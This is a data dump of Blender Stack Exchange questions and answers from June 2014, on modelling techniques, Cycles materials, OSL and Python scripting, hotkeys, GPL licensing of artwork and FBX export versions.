  <row Id="12345" PostTypeId="2" ParentId="12344" CreationDate="2014-06-19T06:50:59.183" Score="5" Body="&lt;p&gt;Here's one hackish way to do it, taking advantage of the fact that positioning the 3D cursor is not undo-able.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the array modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select everything (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to selected&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Undo twice (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ow6Oq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-19T06:50:59.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12346" PostTypeId="2" ParentId="12319" CreationDate="2014-06-19T08:30:31.153" Score="2" Body="&lt;p&gt;I do believe that RSL scripts might have more control over the final colour than OSL scripts do. From the OSL specification --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A closure is an expression or function call that will be stored, along with necessary contextual information, to be evaluated at a later time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What this means is the green node sockets that connect to the Material Output provide the render engine with a way to calculate the final colour not the specific colour to use in the final image. The steps of mixing reflections and lighting is performed by the renderer not by the OSL script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For interest the &lt;a href=&quot;https://blender.stackexchange.com/a/8110/935&quot;&gt;first example&lt;/a&gt; that gandalf3 pointed you to can be achieved in OSL with --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader flatcolour(color Colour = 0.8,&#xA;    float Strength = 1.0,&#xA;    output closure color BSDF = 0 )&#xA;{&#xA;    if(raytype(&quot;camera&quot;))&#xA;        BSDF = (Strength * Colour) * emission();&#xA;    else&#xA;        BSDF = transparent();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-06-19T08:30:31.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12347" PostTypeId="1" AcceptedAnswerId="28354" CreationDate="2014-06-19T09:12:11.497" Score="1" ViewCount="407" Body="&lt;p&gt;When scrolling through the timeline, is there a way of locking the play head to the center whilst the strips, and other open windows, move, rather than the play head moving then having to keep manually readjusting the strip positions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a shortcut key to center the play head if you've lost it, without pressing &quot;home&quot; an then zooming / re positioning / zooming / re positioning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iv'e just been through the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Hotkeys/All&quot; rel=&quot;nofollow&quot;&gt;blender hotkeys&lt;/a&gt; and cannot find anything.&lt;/p&gt;&#xA;" OwnerUserId="4785" LastActivityDate="2018-04-25T12:21:45.130" Title="Timeline navigation hotkeys" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12348" PostTypeId="2" ParentId="12331" CreationDate="2014-06-19T09:26:31.700" Score="8" Body="&lt;p&gt;To expand a bit on David's answer -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPL license used by blender is applied to the source code used to create blender, it only forces you to share modifications you make to the source code if you create a modified version of blender that you wish to share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPL does not affect the data (the blend files) used by blender or output generated (our artwork) by blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data and artwork you generate when using blender is fully owned by you and you can choose to use or share it under any terms you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly you will also find that most of the data used to create the open movies created by the Blender Institute are released under the Creative Commons Attribution license (CC-BY), this means you are free to use the models used for the short movies as long as you give credit for their creation &quot;by The Blender Foundation&quot; and not claim them as your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt; - this is an explanation of my understanding and not to be taken as legal advice. Get proper legal advice if you are unsure of how the licensing terms affect your usage.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="38670" LastEditDate="2017-08-31T20:05:41.380" LastActivityDate="2017-08-31T20:05:41.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12349" PostTypeId="2" ParentId="12314" CreationDate="2014-06-19T14:26:28.720" Score="0" Body="&lt;p&gt;First, let's assume that a face is only &quot;facing&quot; a &lt;strong&gt;destination vertex&lt;/strong&gt; if a point in that face has a normal vector that passes through that &lt;strong&gt;destination vertex&lt;/strong&gt; (otherwise it's hard to tell what you mean by a plane &quot;facing&quot; a point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your picture, you have a line connecting a point in the middle of your polygon to the 3d cursor. You need to make a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html#mathutils.Vector&quot; rel=&quot;nofollow&quot;&gt;vector&lt;/a&gt; out of that line, and then find the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html#mathutils.Vector.rotation_difference&quot; rel=&quot;nofollow&quot;&gt;rotation_difference()&lt;/a&gt; between the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bmesh.types.html?highlight=face%20normal#bmesh.types.BMFace.normal&quot; rel=&quot;nofollow&quot;&gt;normal&lt;/a&gt; of your face and that line. Once you have the rotation difference, rotate your polygon by that amount (you need to rotate with the &quot;center point&quot; of your face as it is in your screenshot at the center...so you may need to move your face to the local object origin, rotate it there, and then move it back after it has been rotated).&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-06-19T14:26:28.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12350" PostTypeId="2" ParentId="12328" CreationDate="2014-06-19T15:37:58.187" Score="0" Body="&lt;p&gt;If the distortion of the text causes filling artifacts, you can enable &lt;strong&gt;Fill Deformed&lt;/strong&gt;, This will evaluate the distorted geometry when filling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However its hard to tell in your case if this will give an improvement.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-19T16:16:03.840" LastActivityDate="2014-06-19T16:16:03.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12352" PostTypeId="2" ParentId="12314" CreationDate="2014-06-19T19:29:34.190" Score="3" Body="&lt;p&gt;I don't know why scaling is not taken into account (since you can apply scale it is not a real restriction.&lt;/p&gt;&#xA;&lt;p&gt;To test this create a plane and run the script, set your cursor to some other location and run again.&lt;/p&gt;&#xA;&lt;p&gt;Note: this doesn't work properly if the polygon is parented.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AMSC.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import mathutils&#xA;from mathutils import Matrix&#xA;import math&#xA;&#xA;def track_to_point( obj, point ):&#xA;    normal = obj.data.polygons[0].normal.xyz&#xA;    mat_obj = obj.matrix_basis&#xA;    mat_scale = mathutils.Matrix.Scale(1, 4, mat_obj.to_scale() )&#xA;    trans = mat_obj.to_translation()&#xA;    mat_trans = mathutils.Matrix.Translation(trans)&#xA;    print( &amp;quot;mat_scale\n&amp;quot; + str(mat_obj.to_scale()))&#xA;    point_trans = point -trans&#xA;    q = normal.rotation_difference( point_trans )&#xA;    mat_rot = q.to_matrix()&#xA;    mat_rot.resize_4x4()&#xA;&#xA;    mat_obj = mat_trans * mat_rot * mat_scale    &#xA;    obj.matrix_basis = mat_obj&#xA;&#xA;plane = bpy.data.objects['Plane']&#xA;point = bpy.context.scene.cursor.location&#xA;&#xA;track_to_point( plane, point )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Parenting is explained in detail &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/editing/parent.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Roles of matrices&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;matrix_basis&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Matrix access to location, rotation and scale (including deltas), before constraints and parenting are applied&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;matrix_local&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Parent relative transformation matrix&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;matrix_parent_inverse&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Inverse of object’s parent matrix at time of parenting&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;matrix_world&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Worldspace transformation matrix&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="76629" LastEditDate="2021-05-21T23:16:15.953" LastActivityDate="2021-05-21T23:16:15.953" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="12353" PostTypeId="1" AcceptedAnswerId="12355" CreationDate="2014-06-19T20:22:03.927" Score="2" ViewCount="3007" Body="&lt;p&gt;I am wondering if there is a way to delete un-seen mesh with Blender. Here's an example. I have a cube, and it has 3 cubes inside of that cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VVg7r.png&quot; alt=&quot;Cubes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to delete the mesh inside of the cube without selecting the cubes manually? This would clear up lots of extra mesh and speed up my render engine. I am using Cycles, so if Cycles has an option to not render hidden meshes, that would be good too. (although deleting them would be better). A Python script would also do. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-06-21T01:21:34.870" Title="Delete un-seen mesh with Blender" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12354" PostTypeId="2" ParentId="12353" CreationDate="2014-06-19T20:30:50.107" Score="2" Body="&lt;p&gt;You could select something of the surrounding object (vertex,edge or face) in &lt;em&gt;Edit Mode&lt;/em&gt; and select linked &lt;kbd&gt;L&lt;/kbd&gt; followed by invert selection &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;I&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Faces where all edges are connected to more than 2 other faces (users) can be selected via &lt;em&gt;Select Menu / Interior Faces&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2M8c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-19T20:41:50.380" LastActivityDate="2014-06-19T20:41:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12355" PostTypeId="2" ParentId="12353" CreationDate="2014-06-19T20:30:57.863" Score="3" Body="&lt;p&gt;The fastest way I can think of which works for the cube case is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select part of the outer cube (a single vert will do)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to select connected vertices&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert the selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To delete geometry not visible from the camera:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter camera view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure you are in solid shading and that &lt;em&gt;Limit selection to visible&lt;/em&gt; is enabled&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use border select (&lt;kbd&gt;B&lt;/kbd&gt;) to select all visible vertices (you may also want to do this with face select enabled to select visible faces too)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Grow the selection (&lt;kbd&gt;Numpad +&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gw9Ga.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the camera, there isn't much indication that there are missing faces. Note however that shadows and reflections will be affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9konA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-21T01:21:34.870" LastActivityDate="2014-06-21T01:21:34.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12356" PostTypeId="1" CreationDate="2014-06-19T20:54:28.043" Score="3" ViewCount="1164" Body="&lt;p&gt;i am working on a ship in a bottle and want to animate the water inside the bottle with the ship floating on it. Is this possible with Blender 2.7a?&lt;/p&gt;&#xA;" OwnerUserId="3699" LastActivityDate="2014-06-19T21:12:17.150" Title="can I use ocean modifier on any custom shape?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12357" PostTypeId="2" ParentId="12356" CreationDate="2014-06-19T21:12:17.150" Score="4" Body="&lt;p&gt;Yes.&#xA;Set the ocean modifier to &lt;em&gt;displace&lt;/em&gt; instead of generate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRVlP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that your mesh must be pretty highly subdivided for it to work well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-19T21:12:17.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12358" PostTypeId="1" CreationDate="2014-06-19T21:30:31.267" Score="10" ViewCount="12330" Body="&lt;p&gt;I've been looking for a way to sculpt straight lines in Blender for some time. The most common answer is to create a custom brush, but it seems inflexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a better solution? Also, is it a planned/possible feature for Blender in the future?&lt;/p&gt;&#xA;" OwnerUserId="4899" LastEditorUserId="3078" LastEditDate="2015-06-11T08:41:59.960" LastActivityDate="2016-12-10T15:44:05.580" Title="How to sculpt straight lines" Tags="&lt;sculpting&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12360" PostTypeId="1" CreationDate="2014-06-19T23:06:45.353" Score="2" ViewCount="692" Body="&lt;p&gt;I'd like to create a single triangle by mirroring one vertex exactly on the mirror plane and another vertex across the mirroring plane to create a single face. I've shown an example image. In this example, I've already applied the mirror modifier but it won't create a face across the mirror boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R0ccK.png&quot; alt=&quot;Mirroring Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really hoping something like this is possible? I guess I could just leave this one triangle until the very end, then apply the mirror modifier and fill it in, but it would be nice if I could leave the mirror modifier in place and have it correctly construct this face. Is there a trick to doing this?&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-06-20T00:17:13.087" Title="Mirroring to create a single polygon across the mirroring plane" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12361" PostTypeId="2" ParentId="12360" CreationDate="2014-06-20T00:11:27.143" Score="1" Body="&lt;p&gt;The mirror modifier in your illustration is working exactly as it is designed to do. In this case, it is mirroring an edge. To complete a face, you need to add one more vertex, located at the intersection of a line perpendicular to the y axis, and the y axis, which passes through the vertex furthest from the y axis, and create the face. The easiest way to create this vertex in the illustrated figure is to extrude from the vertex at the far right to the y axis, constraining the extrusion to the x direction. If you do this, the mirror modifier will work the way you wish. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-06-20T00:17:13.087" LastActivityDate="2014-06-20T00:17:13.087" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12362" PostTypeId="2" ParentId="10913" CreationDate="2014-06-20T08:34:13.703" Score="0" Body="&lt;p&gt;I looked at your file, there was a warning triangle in Motion Paths, need to re-calculate or re-calibrate the motion paths to make it walk more smoother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the idea is that you have to re-do it when you change positions of the bones or if you add in something new. &lt;/p&gt;&#xA;" OwnerUserId="4901" LastActivityDate="2014-06-20T08:34:13.703" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12363" PostTypeId="2" ParentId="12358" CreationDate="2014-06-20T11:10:11.447" Score="7" Body="&lt;p&gt;There is no sculpt tool to go &quot;straight from this point to this point&quot;. You can turn on Smooth Stroke in the stroke panel, which can help draw a straighter line behind your stroke by removing most of the jitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9tLD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use masking to define the areas that your sculpting has effect. Using Box Mask will let you define a straight edge that your sculpting will stop at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zNjtV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to define a black and white texture and use stencil brush mapping to place the edge where you want your sculpt to stop. With the texture brush mapping set to stencil, the image will appear overlaid in the 3dview. Use the right mouse button to move it around, hold &lt;kbd&gt;Shift&lt;/kbd&gt; to scale and &lt;kbd&gt;Ctrl&lt;/kbd&gt; to rotate live in the 3dview which can be easier than adjusting in the toolbar panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wab3o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FTTf8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made that using a simple blend texture using a colour ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jXl3T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-20T11:10:11.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12364" PostTypeId="1" CreationDate="2014-06-20T11:21:06.990" Score="15" ViewCount="703" Body="&lt;p&gt;Would it be possible to screen capture or output node-tree network like really big, bigger than actual monitor screen. If possible, a way to capture the node-tree boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I only screen shot limited to my monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="802" LastActivityDate="2014-06-20T12:23:17.850" Title="Big Screenshot of Node-Tree" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12365" PostTypeId="1" AcceptedAnswerId="12367" CreationDate="2014-06-20T11:56:55.590" Score="0" ViewCount="1911" Body="&lt;p&gt;I'm doing a blender project with a cigarette smoke. I don't use smoke simulation, the smoke is just a mesh simulated with soft body. Here is the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EAJKf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a cool texture with blender internal :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wVXjp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7KeHh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want to recreate the same, or the closer possible, material in cycles. Can somebody help my I'm really new to cycle material.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-06-20T15:29:54.060" Title="Cigarette smoke material with cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12366" PostTypeId="2" ParentId="12364" CreationDate="2014-06-20T12:23:17.850" Score="13" Body="&lt;p&gt;While its undoubtedly possible to do some tricks to make a huge screen-shot &lt;em&gt;(automate panning and capturing the view, then joining up the tiles)&lt;/em&gt;, Blender has nothing built-in to perform such an operation.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-20T12:23:17.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostTypeId="2" ParentId="12365" CreationDate="2014-06-20T15:29:54.060" Score="2" Body="&lt;p&gt;This will do what you want:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oUUrE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Color Ramp&lt;/strong&gt; will allow you to control/fine-tune the amount of transparency.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-20T15:29:54.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="1" CreationDate="2014-06-20T15:45:29.797" Score="16" ViewCount="27437" Body="&lt;p&gt;By trial and error I have found that in Blender v2.7 on a laptop with emulated numpad set, &lt;kbd&gt;\&lt;/kbd&gt; represents &lt;kbd&gt;Numpad /&lt;/kbd&gt; (forward slash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which key represents &lt;kbd&gt;Numpad .&lt;/kbd&gt; (period)?&lt;/p&gt;&#xA;" OwnerUserId="4904" LastEditorUserId="1363" LastEditDate="2014-06-20T15:51:26.797" LastActivityDate="2018-09-19T05:36:26.460" Title="Emulated Numpad Mapping - Numpad Period?" Tags="&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="2" ParentId="4890" CreationDate="2014-06-20T15:47:53.080" Score="8" Body="&lt;p&gt;It's seems you guys will like this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?335568-Addon-Directly-Set-Length%28edge%29-and-Angle%28edges%29-v0-2&quot; rel=&quot;noreferrer&quot;&gt;addon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2sf7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Toolbar &gt; Tools &gt; Mesh Tools &gt; edges set&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set Length: &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set Angle &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1712" LastEditorUserId="599" LastEditDate="2014-06-21T00:52:51.183" LastActivityDate="2014-06-21T00:52:51.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12370" PostTypeId="1" AcceptedAnswerId="13374" CreationDate="2014-06-20T19:10:22.153" Score="0" ViewCount="904" Body="&lt;p&gt;How are they different?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QV8xF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTCj2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I see these examples, I can see that in Blender Internal the map is much cleaner. It looks like another model with X Ray enabled. But, in cycles the normal map is a little messy. How is the map different from Internal and cycles and how can I get the normal map results in cycles as in Internal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: There is the file - &#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29913&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29913&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - The scene in blender internal is on the first layer and the scene for cycles in on another layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the texture - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/m6XhN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unwrap the model with Smart UV Project so that it fits the normal map texture or you can bake one of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Node set-up - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/kTfvM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I tried user2926289's upproach but for some reason its still not as good as in blender internal. Any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Internal - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/stVll.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;user2926289's approach in cycles - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/E6TnY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-21T02:12:50.907" LastActivityDate="2014-06-21T02:12:50.907" Title="How is the Internal render engine different from Cycles when it comes to Normal map?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="1" CreationDate="2014-06-20T20:10:10.230" Score="0" ViewCount="299" Body="&lt;p&gt;I'm trying to export a mesh with bone animation to the FBX format, for consumption by Assimp. Although the Assimp website says otherwise, the source code does support FBX files, but only versions 7.1.0 through 7.3.0. When I export to FBX from Blender, the version number is 6.1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific reason why the exporter uses 6.1.0 and not a newer version? It seems like the FBX exporter is the most heavily used (and hopefully most heavily developed) exporter in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a major difference between 6.1.0 and 7.1.0? Can I just manually edit the exported file so that Assimp thinks it's getting a v7.1.0 file?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-20T20:10:10.230" Title="Why does FBX exporter use v6.1.0?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
